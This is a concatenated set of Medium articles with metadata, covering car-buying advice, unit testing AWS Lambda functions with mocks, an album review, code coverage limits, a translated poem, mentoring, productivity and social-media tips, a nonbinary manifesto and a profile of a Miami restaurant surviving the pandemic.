Dave Ramsey Car Buying Advice: Not Always Worth Taking
Photo: Pexels.com
The Dave Ramsey car buying method states that all new cars lose 9–11% of their value the moment you drive them off the lot. While this may be true for some models, it is not necessarily the case for every new car. Instead of applying blanket statements to such an expensive purchase, consumers should run the numbers to determine how much a new vehicle actually depreciates.
Run the Numbers on New vs. Used
Photo: Pexels.com
Lets say we want to buy a base model 2015+ Subaru WRX. A new one starts at $ 27,495. According to the Dave Ramsey car buying way, I should be buying a one or two year old WRX for $ 24–25k. This way I won’t be “losing thousands the moment I drive off the lot.”
Wow, look at all of the money I could be saving!
Screenshot: Cars.com
Not so fast.
First of all, I don’t know anyone who has ever paid MSRP for a new car.
I reached out to a local Subaru dealer for a price quote on a 2020 WRX base. Here’s how much a new base model actually costs:
A price quote from a local dealer.
Keep in mind that this one has some rather expensive options for a base model, like a $ 611 STi shifter. For purposes of our discussion, however, let’s just say that is how much we will pay for the car.
What About All The Money You Lose Driving Off the Lot in a New Car?
Photo: Pexels.com
This is where Dave Ramsey’s car buying advice is wrong.
According to Papa Ramsey, if we bought that new shiny black WRX for $ 27,875, we would have lost $ 2,787.50 the moment we turned onto a public road.
Is that really the case?
Let’s say we get the car home and decide that the car sucks and that we should’ve bought a used car after all. So what do we do?
We sell it.
I use KBB because that is the first resource people turn to when deciding how much they should pay for a used car. So let’s run the numbers on our new (now used) Subaru.
Screenshot: KBB.com
According to KBB, the new car lost $ 374 the moment it drove it off the lot. That’s a few hundred dollars, Dave. Not thousands.
Every vehicle I’ve ever sold has commanded KBB private-party pricing. Unless you take your new car to a demolition derby as soon as you buy it, it’s not going to lose thousands of dollars the moment you drive it off the lot.
But Isn’t Used Still Cheaper?
Photo: Pexels.com
The point of buying a used car is to be able to purchase something within your budget. Some people might only have 25k for a vehicle and the extra 2–3k might put them over the edge.
Depreciation is also highest in the first year. However, it continues every year until the car is worth $ 0. Take a look at the Edmunds True Cost to Own Breakdown for a better understanding:
Screenshot: Edmunds.com True Cost to Own tool
In theory, you’re “saving” $ 3,567 to $ 6,063 by buying a one or two year old used car. However, if you take a look at the used car pricing for one or two year old models, you’ll see that some cars (like the WRX) hold their value much better than others:
Screenshot: Cars.com
Now I get what you’re thinking. “You can haggle on used car prices too!”
And believe me, I’ve tried.
In our current market, I’ve found that dealers will NOT drop the price more than a few hundred dollars on any used vehicle. This is because they set the prices competitively, and know they will sell within 30 days.
Consumers can really benefit by doing their research here. Instead of just assuming that a car will drop in value like a rock, look at the selling prices of used models. The difference between the new car “out the door” price and the used version is the real depreciation, and how much you can really expect to “lose” on your purchase.
Sometimes, buying new is actually the better deal.
Dave Ramsey’s Car Buying Advice Isn’t Completely Wrong
Photo: Pexels.com
Dave isn’t completely wrong in his car buying advice.
Making sure that the total of all of your cars/trucks/boats/campers don’t total more than 50% of your annual household income is a good idea. This ensures that you don’t own too many assets that are constantly going down in value.
Most new cars lose hundreds when they drive off the lot, not thousands. And if you do some simple research, you’ll find that new cars hold their value much better than Dave wants you to believe. | https://medium.com/@chrisleoonline/the-problem-with-dave-ramseys-car-buying-advice-906cb790ceb8 | ['Chris Leo'] | 2020-12-11 02:05:13.240000+00:00 | ['Money', 'Automotive', 'Cars', 'Personal Finance'] |
Properly Unit Testing Lambda Functions — With an Actual Production Example | Properly Unit Testing Lambda Functions — With an Actual Production Example
Providing you with a summary on how mocking in Node.js works and an actual production example on how to unit test a Lambda function. Rcls Follow Nov 14, 2020 · 6 min read
Recently I’ve been working on multiple microservices. Some of these have been small Lambda functions, triggered either by SQS or SNS, and their job is to process the event, then dispatch it forward.
For a long time something always bothered me with Lambdas. I believe it was the fact that I couldn’t get my head around how they should be properly tested. It always seemed incredibly difficult to mock the dependencies, which I could not inject, so we developed routes in the code to get around that. That was way over a year ago.
As I had to work with them again, I decided I’ll take a few hours to actually read about how to mock those resources properly, and how it works under the hood.
Node.js mocking
No one actually discusses this topic on the web in detail. They simply refer you to use some mocking library. Either everyone knows how it works, or no one really cares, as long as the library works.
I come from a PHP background, and to mock anything you need to use dependency injection. This way the actual implementation is replaced by your mock object through that injection. You can use DI in JavaScript too, but with Lambda functions it’s not possible.
So since I can’t use dependency injection, how do those mocking libraries actually work?
I will refer you to this Node.js documentation page about how modules are cached. You can almost figure it out from there. It took me a while to find this information.
Creating a mocked moduled in memory before actual module gets called
To summarize: Node.js will use an existing modules from memory, if it already exists, which means we can insert a mocked object in there BEFORE the actual implementation is called thus ‘intercepting ’any calls to the real one.
You can see a gist of actual test files below and try out this behavior.
In the gist above, we initiate the real AWS.DynamoDB module from aws-sdk before we do any mocking, having the actual SDK capture the call and this unit test will fail, because it would actually be an integration test with no configurations.
In the gist below you initiate the AWS.DynamoDB mock object before we call the actual SDK, having the mock ‘intercept ’the call thus avoiding any real network calls.
So this was something that bothered me and I really had to dig in to figure out how the concept works before I could write proper unit tests for Lambdas.
So where’s this production example?
Right below. The example I’m using is actually a pretty basic AWS Simple Email Service bounce notification Lambda function, which handles the bounce notifications received from SNS, and sends out summarized messages to an SNS topic, which eventually get delivered to a client application to be handled.
If you haven’t used SES before, a bounce is a notification from the service, letting you know that the email delivery has failed, or ‘bounced’, for some reason. It can be that the email inbox is full, or unavailable, or there’s a transient error like a vacation message reply.
In this example, we have multiple environments using the same service and we don’t want to expose bounce messages to all of them, so we have a Lambda function to actually direct them to the right SNS topic
So, the Lambda function that is run in a production environment is something like this:
To run this inside Lambda, we need the aws-sdk package as a dependency, so that we have easy access to SNS and SQS functions, but I’m also using lodash here so I don’t have to write typeof checks everywhere. We usually use Serverless framework for deploying resources like an SQS DLQ (Dead Letter Queue) or SNS topics with these microservices, but I won’t go into that.
You might notice that there is no error monitoring here. That’s because we actually use Sentry to handle errors in Lambda functions , but to make this example simpler, I’ve stripped those pieces of code away. We also push notifications of DLQ additions to Sentry so we can simply monitor the function through one platform.
The thing to also note, is that the handler actually initializes the AWS.SNS and AWS.SQS objects inside our function. This is simply because otherwise aws-sdk-mock can’t mock those objects for testing. It is a very small change as normally you might initialize them at the top of your file.
Please read the package description below.
NB: The AWS Service needs to be initialised inside the function being tested in order for the SDK method to be mocked e.g for an AWS Lambda function example 1 will cause an error region not defined in config whereas in example 2 the sdk will be successfully mocked. Also note that if you initialise an AWS service inside a callback from an async function inside the handler function, that won’t work either.
- aws-sdk-mock README.md
Unit testing the function
So, into the unit testing portion! First, I usually want to identify all the execution paths the function can go into. In here we can see four of them:
The notification type is not Bounce , but a Complaint or Delivery which we don’t care about, so we just skips those.
, but a Complaint or Delivery which we don’t care about, so we just skips those. The email does not contain original headers (a configuration missing in SES), so it fails and sends the message to the DLQ as we can’t do anything with it.
The email does not contain the TargetARN address for SNS, which is client controlled, so it fails and sends the message to the DLQ as we can’t do anything with it.
The function processes the message and succeeds, sending the event payload to the SNS topic.
Each response is a 200 OK, because in all four cases we handle the message. If the function crashes, Lambda will retry the message a few times then automatically put it to a DLQ.
I grabbed actual SNS message examples from AWS docs, which I could then add as resources to my test folder, and assert against. I created four different variations of this, by either removing or adding some data, to match those execution paths.
The resulting test looks like this:
When you run this, you should have four passing tests. | https://medium.com/swlh/properly-unit-testing-lambda-functions-with-an-actual-production-example-e72743f72692 | [] | 2020-11-20 23:58:00.839000+00:00 | ['AWS', 'Nodejs', 'AWS Lambda', 'Testing'] |
Big Thief — Two Hands (ALBUM REVIEW) | Two Hands (Image Credit: 4AD Records)
Dang. I told y’all this band was the real deal.
I seriously meant it when I said months ago that U.F.O.F. was the best thing to come out this year, and I stand by that statement. Even though I still enjoy and listen to the Brooklyn folk rock bands previous efforts, 2016’s Masterpiece and 2017’s Capacity, and I will acknowledge the highlights like the former’s title track and songs like “Shark Smile” and “Mary,” their third record released earlier this year felt like a complete listening experience, and what was so great about seeing the progress of the band is how much the four of them really play off each other really well with each new release.
Now, the big open secret that the band has is that, despite this latest record almost coming in late to 2019 after the massive critical success of U.F.O.F., Big Thief has been mastering these songs like for a few years now during live performances, as evident by their setlists over the past four years, and judging by the songs not on their records (like “Zombie”), they probably have another great record in the works already.
For now, however, yes, Two Hands is another showcase in the deeply personal, hard-hitting mastery that Big Thief has been able to. Not the near-masterpiece (no pun intended) that U.F.O.F. was, but it’s still pretty damn great. It’s another breezy, listenable folk rock record that demands you to pay attention the more you listen to it especially at the more intimate moments.
While it’s not really a commandment of songwriting and more of a default, making songs catchy seems to be what Big Thief is attempting more and while their songs have been like that (see previous songs like “Shark Smile,” “Cattails,” “Jenni,” and “Masterpiece”) , as evident in the first few tracks, such as the opener “Rock and Sing,” when lead singer Adrianne Lenker sings the chorus “cry with me” and “rock with me,” or even the plea for compassion and empathy in the track following up, “Forgotten Eyes.”
It’s not really a surprise that when the band gets dirty on their instrumentals, especially on the six-minute single “Not,” where Lenker shreds her guitar like peak-Neil Young-Crazy horse, you can forgive her for not playing straightforward solos because you’re so in-tuned to the music, and it helps that the drumming from James Krivchenia is straight-up banging. Or the previous song “Shoulders,” which has some sweet guitar leads and has been a fan favorite for a few years (both tracks are the heaviest on this record).
It’s also not a coincidence that, this being their second record on indie rock label 4AD records, also the same record label which put out the first four Red House Painters records in the 90s, that the band can do wonders when playing slow, as is the case with songs like “Rock and Sing,” “The Toy,” and the closer “Cut My Hair.”
What’s amazing about the less-than-four years that Big Thief has put out four great records is that despite some minor changes, the band has been consistent in their sounds and it’s clear that the four of them are so tight together and have fantastic chemistry that everything flows really well, making their four records repetitive on demand. Hipster Brooklyn music or not, millennial folk rock never sounded this good, and Two Hands is more than just a victory lap after their now classic record earlier this year.
Four and a half out of five stars. If you’re not on the hype train for this band, what the hell are you thinking?
— — — — — — — — — — — — — — — — — — — — — — — — — -
VinylDog is a music review and music news commentary channel on YouTube who also writes on Medium. Be sure to follow this Medium page for more reviews and commentary in music. To support the channel, please consider subscribing here. And if you like my work and would like to support my work even further, you can make a one-time or monthly contribution to my Patreon page here. | https://medium.com/@vinyldog/big-thief-two-hands-album-review-5a3f3eff13d5 | ['John T. Dougherty'] | 2019-10-16 20:59:22.343000+00:00 | ['Music', 'Folk', 'Big Thief', 'Rock', 'Album Review'] |
Problems with Code Coverage when Assessing Functional Tests | Problems with Code Coverage when Assessing Functional Tests
This is the first post in a two-part series about the importance of measuring efficient functional tests in platform engineering and in complex products. Baubak Gandomi is a Test Architect with Adobe Customer Journey Management.
Code coverage is often a KPI used to show progress in projects. Especially when the quality of a legacy product needs to be brought up to speed. It is often expected to help detect holes in our certainty regarding the infallibility of our products and their associated tests. We think that although it seems quite clear in its results, it is quite misleading if used on its own to represent the efficiency of your tests.
This is actually a very good measure and it allows us to find lines in the code that are not tested. But I feel that it does not give a clear picture of the state of the tests, and leads to false assumptions when you generalize this for tests that are not unit tests.
The main focus of this article is functional testing. We will often use the term “line-level” coverage to designate coverage reports that point to a line of code. This includes among other things, line- and branch coverage.
Problems with Line Level Coverage and Functional Tests
Although we think line level coverage is very well adapted to low deployment tests such as unit and some component tests, we think it has a few drawbacks when using it in relation to functional tests. In this chapter, we will give reasons.
Figure 1: General problems with code coverage
Unclear Mapping to Functionality
When you are confronted with a coverage report, the gaps in line coverage will not necessarily point to functionality not being tested. Usually, the most intuitive course of action is adding a unit test.
Unless you have huge parts of code not being tested, the code not being tested is not going to really tell you what functionality is not being tested. As such it is hard to consult the functional experts in regard to the line coverage gaps.
In functional tests, the real reference regarding coverage and gaps in the documentation, and the product experts or managers.
Incompatible Comparison between Functional and Low-Level Tests
When comparing functional tests with unit tests using code coverage we often get comments :
Why doesn’t the addition 10 functional tests not raise the coverage in the same amount as 10 unit tests?
The funny thing with comments such as this is that it sounds great and logical. It is obvious that we should have a lot of unit tests, much more than functional tests. However the problem is that the measure of the efficiency of a functional test is not the lines it touches, but the functionality that has been specified by the business.
100% Coverage yet Error-Prone
I’ll tell you a secret. I have code that has around 100% code coverage. Yet I know it has errors, and that there are use cases where it will fail. I just didn’t have the time to correct it. I am pretty sure I am not alone in this.
A very simple example of this is an “empty” method that calculates prime numbers. It does not fit the specification, but if we call it, it is 100% covered. Another example is not testing incoming arguments. Adding tests with bad input will not raise coverage but will definitely crash the method.
In short, what I try to convey here is that line level coverage does not find faulty assumptions and functional holes. Functional testing would usually quickly find these cases, but coverage will not help us here. If you only focus on line coverage when testing, you will lose sight of the underlying functionality, and miss out on some errors.
Dead Code is the Enemy
We think that unless you really know your code, it is hard to identify that a lack of coverage is due to dead code. When you are filling the gaps, you need to be extra careful, because you may be adding tests to fill a gap which is not really used.
Here again, taking functional tests to the task to make sure it covers all code makes sense only if we are sure that the functional tests cover all functionality. This is especially useful when creating harnesses. Once you are sure about the functional coverage, code coverage of the functional test will actually be useful in detecting dead code. But, yet again this is a specific intervention, and using it as a KPI will not be helpful.
Complex & Cumbersome Mixture of Coverage Technologies
The whole process of activating coverage for different technologies, gathering the data, and merging them into a coherent and useful report, apart from being extremely slow, is very complex and involves many error-prone steps.
Below is a figure of one implementation for measuring code coverage for a series of different tests that we put in place. This process involves 4 different instances performing- tests, instance deployments, measurements, and reporting.
Figure 2: A high-level example of the generation of code coverage for multiple tests
We also think that gathering coverage on a running application will induce unexpected problems that code coverage tools will have problems handling. This involves great amounts of data being managed in memory by the coverage tools and often in a parallel manner, which will put a large amount of stress on them.
Implicit Logic is hard to Capture
Frameworks and SDKs imply that you have a codebase that caters to a large set of use cases. Adding use cases may not even make a change in the line, because the logic is defined implicitly in JSON or XML formats.
Conclusions
I would like to reiterate that we are not suggesting a replacement for line-level coverage, which we think is great for unit tests. What we propose is that too great a reliance on this metric is counterproductive. This is especially true when applying code coverage for measuring the efficiency of functional tests. Instead, we need to have other coverage KPIs to help us estimate the assurance we have of ensuring stability in our releases.
For measuring the efficiency of functional tests we propose Transactional Coverage. This is covered more in our upcoming article titled “Transactional Coverage — a Functional Approach to Detecting Test Gaps”. Stay tuned!
Follow the Adobe Tech Blog for more developer stories and resources, and check out Adobe Developers on Twitter for the latest news and developer products. Sign up here for future Adobe Experience Platform Meetups. | https://medium.com/adobetech/problems-with-code-coverage-when-assessing-functional-tests-81d0a201c457 | ['Jaemi Bremner'] | 2020-12-03 14:48:20.014000+00:00 | ['QA', 'Platform', 'Code Coverage', 'DevOps', 'Adobe Experience Platform'] |
On the Danube (A Dunán) | On the Danube
Raging storms and rushing boats, oh River
Countless clefts to your bosom deliver!
And how deep the wound, and how long the rift!
More so than what passions on hearts inflict.
But after the boats depart, and the storms quell:
The gashes heal, once again all is well.
Yet once the human heart a crack sustains:
No ointment will seal the wound, mend the pains. | https://joevaradi.medium.com/on-the-danube-a-dun%C3%A1n-e453184c2398 | ['Joe Váradi'] | 2020-03-13 22:55:32.801000+00:00 | ['Translation', 'Love', 'Relationships', 'Poetry', 'Hungary'] |
5 Leadership Behaviors I’ve Learned from 2 Years of Data Science and Engineering | The last leadership skill that I have taken away from these experiences is understanding the value of having a mentor and being a mentor. I have found both to be incredibly beneficial for myself and the others involved. I gravitated toward adopting a mentor when I started my current job. In past positions, they assigned mentors, but the experiences were not useful. Either I didn’t feel the connection with the person, or it was an uncomfortable relationship I was forced into. In picking my current mentors, I gravitated towards individuals who had skills in areas that I wanted to improve. One had excellent communication skills and developed MVP projects, and the other excelled at envisioning the future and path forward. When I started to mentor months later, I sought out a mentee who was a woman at the start of her career looking to learn more about the STEM field.
5. Mentoring
Mentor and be mentored. Finding a mentor in data science can be a valuable asset. They are someone you can speak to about your challenges, successes, and career progression. Find someone you are comfortable talking to who can help provide you with the resources you need. While looking for a mentor, consider becoming a mentor for someone. This person may be someone younger or earlier in their career than you. It may seem stressful at first, but you have a story to tell, and you can help them along their path through what you have learned along with yours. No matter what stage you are in your career, you can get a mentor or become a mentor. Consider doing both and jumping out of your comfort zone.
Tip: Stay in touch with different organizations within your company who are frequently looking to pair mentors and mentees up. If you don’t have one, reach out to colleagues both within and outside of your organization to find a mentor/mentee. These individuals do not need to work in the same place to help you in your career.
Finding a mentor can help you in your career, and becoming a mentor can help someone else who is navigating their own. Learning to leverage both can help you traverse through your path, and help improve your leadership skills. Through these experiences, I have learned to assist others who come to me for advice or help. | https://towardsdatascience.com/5-leadership-behaviors-ive-learned-from-2-years-of-data-science-and-engineering-32b53dce45a3 | ['Rose Day'] | 2020-11-29 16:03:21.530000+00:00 | ['Technology', 'Data Science', 'Career Advice', 'Careers', 'Data'] |
Secrets To Make Technology Serve You | “It’s hard to say exactly what it is about face-to-face contact that makes deals happen, but whatever it is, it hasn’t yet been duplicated by technology.” –Paul Graham “Blow up your TV, throw away your paper…” –John Prine
This strategy and action section offers some ideas to help curate, filter, and synthesize technology. Feel free to use these ideas, discard them, or put your own spin on them.
Television Mastery
The idea to master our use of television starts with placing a buffer between us and the content from our television. Cable TV is largely a gateway to reruns, commercials, or news. By eliminating cable, we effectively set up a buffer between our minds and advertising-based content. Now we can take control of the technology and add an application to our television to synthesize what we take in. An example might be to connect our television to the Internet, or link it up to Netflix, Amazon Video, or a Google Chromecast. Now, we have a barrier where we’re forced to make a conscious decision about selecting what to watch instead of just turning on the television and consuming.
Computer Mastery
Rescue Time: This app lets us turn the Internet on our computers on and off for a predetermined length of time. I like to use Rescue Time to turn off the Internet on days like today, when I’m writing and don’t want the temptation to start looking things up online that can interfere with my work. Rescue Time helps filter out the noise which would degrade our willpower first thing in the morning. When we control the Internet on our devices, we make conscious choices about how we’ll use it.
The Game Changer
The most valuable ways I’ve found to control and drive my use of a Smartphone and laptop are as follows:
At night, before bed, I create a to-do list for the next day on a 4x6 note card.
From that list, I will select or write in the three most important things to do. The idea is that if I get nothing else done, and only complete these three things, I would still make progress towards a goal or outcome I want to create.
The next day, before I do anything online, before I even TOUCH my Smartphone, I do those three things. No outside stimulus until they’re done.
This is a simple way to get where we want to go, without derailing ourselves or chipping away at our willpower first thing in the morning. This is an act of defiance towards always being connected; it’s a way to refuse to be a servant of technology.
Content Curation and Filtering Online
Feedly: This app brings all the feeds from your favorite websites into one place where you can read or share select articles and content. Simply login and add the specific sites you want to get news and updates from. The app doesn’t bring in advertisements, so you’re able to read things without constantly seeing display advertising. If you’re learning something, or trying to break into a new industry, simply add those websites of curated content from influencers into your Feedly. Over time, you can use Feedly to build a custom stream of highly relevant, amazingly useful content which will save you hours of time.
Upside Exposure: The best and most scalable way to increase our exposure to opportunities is to set up online social media accounts on Twitter and LinkedIn. Depending on your industry, using Medium might be helpful, but we don’t need to worry about that for now. These accounts allow us to capitalize and create opportunities where we are using technology instead of it using us. If you don’t have a personal website at this point, don’t worry. LinkedIn can hold your resume and be the hub of your online presence, while Twitter is a more specific opportunity generator.
An opportunity generator is something we set up which can advertise and promote ourselves while we’re not directly working. In business, we might call the creation of these opportunities “lead generation.” In our personal lives, many people just call this smart. Many people have grandparents who told them to never look for a job, but always look for an opportunity. Having social profiles set up to work on our behalf to uncover and expose us to opportunities would make our grandparents proud.
Platforms as Opportunity Generators
By investing small amounts of time into building or improving opportunity generators, we can reap huge rewards. These rewards may include: new friends, business connections, job offers, expertise requests, help with starting a business, and much more. The idea is to interact with others, send cold emails, write articles in our industry, and link them back to the platforms containing our resume, proof of skills, or even work that shows proof of our imagination.
Twitter: You don’t have to tweet, but by having this set up, you’ll be able to claim your name and prepare for when/if you do tweet. Just sign up and post a single tweet. This helps in case anyone on Twitter searches for your name, and this single tweet can direct interested parties to the appropriate place.
“Thanks for stopping by! Too busy to tweet at the moment, but let’s connect (link to your email address or your LinkedIn profile).”
The link to connect can go to the places we mentioned above, or to your profile at your current company, your personal website, or even a short 30- to 60-second video introducing yourself, your skills, and, if you’re a job-seeker, what you’re looking for.
LinkedIn Profile: If you’re looking for a job, opportunity, or promotion, this is the place to start. Recruiters scour LinkedIn all day long looking for applicants. There are a million free resources online showing how to optimize your LinkedIn profile, so I won’t bore you with details here.
The idea is to set up a LinkedIn profile and, over time, add more than 500 connections. The LinkedIn publishing platform is still in its infancy, and it’s a great time to use it to begin writing industry-specific articles. The publishing platform will likely grow even larger and more esteemed as time goes on. Getting involved now and having a public place such as your LinkedIn profile to write and become noted in your industry is a great way to generate opportunities and serendipitous connections.
If you need a job, make sure your LinkedIn profile is cleaned up and your resume is posted. Then, on LinkedIn’s publishing platform, write a post titled something along the lines of “Ten Things I Didn’t List on My Resume.” Include everything, such as stories or decisions which have built your character.
You can follow up that post with “10 Reasons I’m Ready to Work at (company name here),” citing what you bring to the table. Or something like “10 Ways For (company name here) to Increase Their Sales.” The idea is to stand out from the traditional channels of resume spamming and find opportunities before they’re advertised to the market.
LinkedIn’s long-term goal is to turn up contextual economic opportunities for the right people, at the right time. If you’re not 100% sure what this means, look it up and write a post about why the long-term vision of LinkedIn is important. If you get it right, LinkedIn will likely want to promote your writing. If you’re a horrible writer, record what you want to say and have it transcribed, or hire an editor on Upwork to proofread your work. LinkedIn is a platform which can unlock thousands of opportunities.
Personal Website: This isn’t needed at first, but for specific creative types (artists, designers, or engineers), this might make sense. The credentials of the future involve being able to cite proof of skills at a moment’s notice to show a potential employer, friend, or business partner. Creating a personal website by using an incredibly cheap and full-service solution provider like Squarespace is perfectly suited to showcase our proof of skills.
Launching a personal website is also a great excuse to grab the domain name for your name. Most .com domains will be taken, but there is a good chance you might be able to find a .co or suitable alternative such as (www.YourFirstName-YourLastName.com). If you want to blog or start a business and sell products or services from a personal site, Squarespace lets you sell digital products and services using the awe-inspiring payment processor, Stripe.
A Few Notes on Platforms
Ensure congruence across platforms. Make sure that all your social media profiles display the message you want to convey. For the advanced folks, or those who already have LinkedIn and Twitter accounts set up and are using them well, you can consider other opportunity generators such as Medium or AngelList.
AngelList will be incredibly useful as we dive into reverse engineering entry into high-growth technology fields in the next article, so if you’re interested in this, consider setting up a profile there.
Medium: This is where you can write about certain industry or life-specific topics and give those writings exposure to a large audience. This is an alternative or supplement to publishing on LinkedIn, and might be a bit more useful to those interested in startups, technology, design, art, or writing.
AngelList: This is where you can learn all about startups and technology businesses and discover how to land jobs with them. If you’re a qualified angel investor, you can start looking for companies, funds, or syndicates for investment. Anyone interested in technology should become familiar with this site. AngelList is the best platform on the Internet to connect early-stage businesses with funding and employees. They’re also building index funds for investing and are beginning to raise large amounts of money to invest in startups. You can always find where the future of industries are heading by studying where investment dollars are going on AngelList.
All of these platforms we have mentioned can become opportunity generators if used appropriately. Once you’re set up, at least on LinkedIn and Twitter, you’ve embraced the mindset of exposing yourself to good things. Now, when you start seeking out opportunities, you have an online presence to capture opportunities and introductions as you go. | https://medium.com/the-mission/secrets-to-make-technology-serve-you-f2300e6c7a67 | ['Chad Grills'] | 2018-07-05 17:27:59.364000+00:00 | ['Media', 'Life', 'Culture', 'Technology', 'Marketing'] |
The Cute Enby Squad Manifesto | Though not all nonbinary people choose to call themselves “enbies,” many of us do, and that is valid. And enbies like me have been seeing nonbinary people represented in the mainstream culture more and more.
However, the cis mainstream definition of nonbinary appears to be very narrow in scope. To be nonbinary, they tell us, means to fit a specific (skinny, white, able-bodied, effortlessly androgynous) aesthetic.
And that’s bullshit. It’s perfectly okay for someone to fit that mold and express themself that way, but not all enbies do. And we shouldn’t have to in order to feel valid and amazing and fucking adorable.
Therefore, I propose that we enbies seize a life of radical cuteness.
To do that, I lay out the following tenets for anyone who wants to join the Cute Enby Squad:
1. Every enby is cute
This point is not up for debate. If an enby wants to call themself cute, they’re cute. If they choose not to, that is also valid.
2. Our cuteness shines from within
Cuteness is like the light from a lantern, radiating out from deep inside us. How we choose to manifest that cuteness is entirely up to us. Every expression of it is valid.
3. No one aesthetic can contain us
We are as varied as all other people and can’t possibly fit into one aesthetic — even one of our own choosing. We will never expect anyone else to look the way we do. We will be as colorful and unique and free as we damn well please, and won’t shame anyone for choosing differently.
4. We didn’t ask for cis people’s fucking opinion
Nor do we need it.
5. Nobody needs permission to be cute
Not mine, not yours, not anybody’s. We express our cuteness for ourselves, not for others. So why should we need their approval?
6. The strong will protect the cute
We will protect our fellow enbies from any and all harassment, no matter where it comes from. Because if we don’t protect our siblings, who will?
And above all else, we believe this: | https://medium.com/th-ink/the-cute-enby-squad-manifesto-3d0b5ce37e7f | ['Zanne Nilsson'] | 2019-09-10 12:26:01.041000+00:00 | ['Manifesto', 'Transgender', 'Nonbinary', 'Identity', 'LGBTQ'] |
Here is the Christmas Letter from Santa. | Here is the Christmas Letter from Santa.
Dear Children of the World,
It is at this time, that I, Santa the Claus aka St. Nicholas needs the help of the children of the World.
More than anything this year, the World needs you and your belief. Belief is when you know something is there even if you can’t see it or it looks impossible.
Children are the most important people because you keep the human race believing. Believing in the good and the grand.
Believing in the MAGIC.
Now more than ever, our world needs MAGIC and that children, is what you create.
Your laughter, your excitement, and your wonder help everything to be less dark and less scary.
Your belief in the magic is what makes the world a better place and is what heals.
Things do not get better without first someone, or a lot of someone’s believing things will.
So it is at this time, that I, Santa the Claus, am requesting all children of the world (children of age and children of heart):
Believe in the good, the good of other people and the good of yourself and always believe that tomorrow will be better than today.
The world needs belief, love, and a little bit of magic.
Most Sincerely,
Santa Claus
P.S. Rudolph asked me to request that you have drinks for the reindeer in lieu of carrot sticks. It’s been a rough year for the reindeer.
I am still fine with cookies and milk.
Read the entire article here:
In Urgent News, The United States Military Has Received Request From The North Pole Approving… https://medium.com/@jessicabugg_56242/in-urgent-news-the-united-states-military-has-received-request-from-the-north-pole-approving-b99c05ce2340 | https://medium.com/everything-shortform/here-is-the-christmas-letter-from-santa-e97ebb9b54e9 | ['Jessica Bugg'] | 2020-12-24 21:06:23.761000+00:00 | ['News', 'Parenting', 'Covid-19', 'Children', 'Short Form'] |
Digital Skills You Need Before Kickstarting a Career in Hospitality. | In order to reach potential clients, you need to leverage on the powerful influence of the digital world.
As a career person in hospitality, you need to have necessary knowledge about the digitalization of the hospitality industry.
The following are five digital skills you need to possess as a hospitality career person:
-1- CONTENT MARKETING: Making use of the right words to attract your prospects is very important. You should be able to come up with great content for your target audience. Any content you share must be relevant, easyto-read, straight-to- point, engaging and directive.
-2- SOCIAL MEDIA MANAGEMENT: You should have a pretty good knowledge of how social media runs. Millions of your prospects are chilling on these platforms, you need to find the right way to get to them. Know how Instagram works, as well as Facebook, Twitter, and LinkedIn.
-3- GRAPHICS DESIGN: There is a need for your business page to look appealing at a glance. This is possible if your visual contents are eyefriendly. You can outsource this to a graphics design agency if you find it stressful or difficult.
-4- EMAIL MARKETING: Being able to contact your existing customers and prospects via email is a needed skill. Email marketing also enables you to introduce your offers and new services to your customers. And the conversion rate via email marketing has been recorded to be high.
-5- FACEBOOK & INSTAGRAM ADS: Presently, businesses are taking their services to Facebook and Instagram. They even pay for the paid sponsored adverts to reach a larger audience base. Knowing how to set up ads on these platforms is a valuable skill.
Which of these skills are you yet to posses? Share with me in the comment section. | https://medium.com/@thehospitalityqueen/digital-skills-you-need-before-kickstarting-a-career-in-hospitality-9948755dbf0b | ['Yvonne Joseph', 'The Hospitality Queen'] | 2020-12-10 00:07:57.322000+00:00 | ['Digital Marketing', 'Digital Skills', 'Hotel', 'Hotel Management', 'Hotel Marketing'] |
A Miami chef braves the pandemic reset, and emerges bolder than ever | A Miami chef braves the pandemic reset, and emerges bolder than ever
In early 2020, no chef in America was prepared for a pandemic that would close well over 110,000 restaurants by January of this year, according to Fortune.
One eatery that has manage to survive and thrive is R House in Miami. That’s in large part due to the diligence and dedication of one man.
Meet chef Rocco Carulli. At 55, he’s the proud restaurateur behind R House, a spacious indoor-outdoor eatery and venue located at 2727 NW 2nd Ave in Miami. R house was one of the first three eating establishments opened in Wynwood art district, which has in less than a decade become one of Miami’s hottest venues.
“It was like, ‘Oh my god am I crazy?’ You know?” Carulli said with a laugh. “I had nothing; I had no right leasing a spot in Wynwood.”
Since claiming this space and putting his signature venue on the map, Carulli has dealt with Miami public health scares, hurricanes and a restaurant boom in Wynwood. Carulli even willed his business alive during a three-month shutdown due to the Zika virus in 2016. Then in 2017, Hurricane Irma hit.
“We were almost ready to give up, but if the universe gave us this, we have to keep it. We have to keep going,” Carulli said. “I was being broken down—and then the pandemic happened.”
With the business struggling to hit a positive and consistent stride, the COVID-19 pandemic served as a hard reset for Carulli. He used the first couple of months to relax and catch up on lost time with his husband Owen.
After a while, the restlessness and ultimate boredom of the pandemic spurred Carulli to focus on the next chapter for R house.
“So, what I decided to do is revamp. I took any savings I had and redid the yard. We dolled it up a bit and made it really nice,” Carulli said. “And I completely redid the menu.”
Carulli wants R house to feel like a new restaurant that even the most stalwart regulars will still love.
“We went for a Latin vibe; we had an American contemporary one before,” Carulli explained. “We just decided to rebrand ourselves for when we open so it feels like a new place.”
The arrival of vaccines and the lifting of the COVID-19 emergency orders have Carulli feeling as though his business is moving in a positive direction.
“This is our time to shine now, and we didn’t feel like that pre-pandemic,” he said.
Carulli works with a team which has grown ever closer in the months after the initial lockdown.
“The staff that we have right now have been working so hard even under the pressure of it all,” Carulli said. “The team has grown to be this family and we are in the trenches together.”
Like most business owners, Carulli received government assistance while navigating the muddy waters of the pandemic. However, Carulli believes that his restaurant will survive and thrive due to its deep ties to Miami LGBTQIA+ culture.
“We did our first drag brunch and it was a hit,” Carulli said. “I believe that we have become sort of a staple in the gay community.”
The first drag brunch was intended as Carulli’s birthday celebration in 2015. Everyone loved it so much that it’s now a staple every Saturday and Sunday at R House.
“Everybody loves it,” Carulli said. “Anybody who comes is blown away by it, it’s so much fun.”
Carulli opens a bottle of wine for customers. (Courtesy R House Instagram Page)
Despite supplying an environment that is inclusive for all, Carulli noted new challenges he faces while running his restaurant.
“It’s the staffing issue that’s the problem now,” Carulli said. “I used to get at least 30 resumes anytime I put a cook ad out the first day. I get like maybe one a month now, and that’s no exaggeration.”
Carulli believes that the restaurant industry is being abandoned by people who want good pay while not exposing themselves to COVID and potential shutdowns. He also believes that unemployment is driving people to want to stay home rather than job hunting.
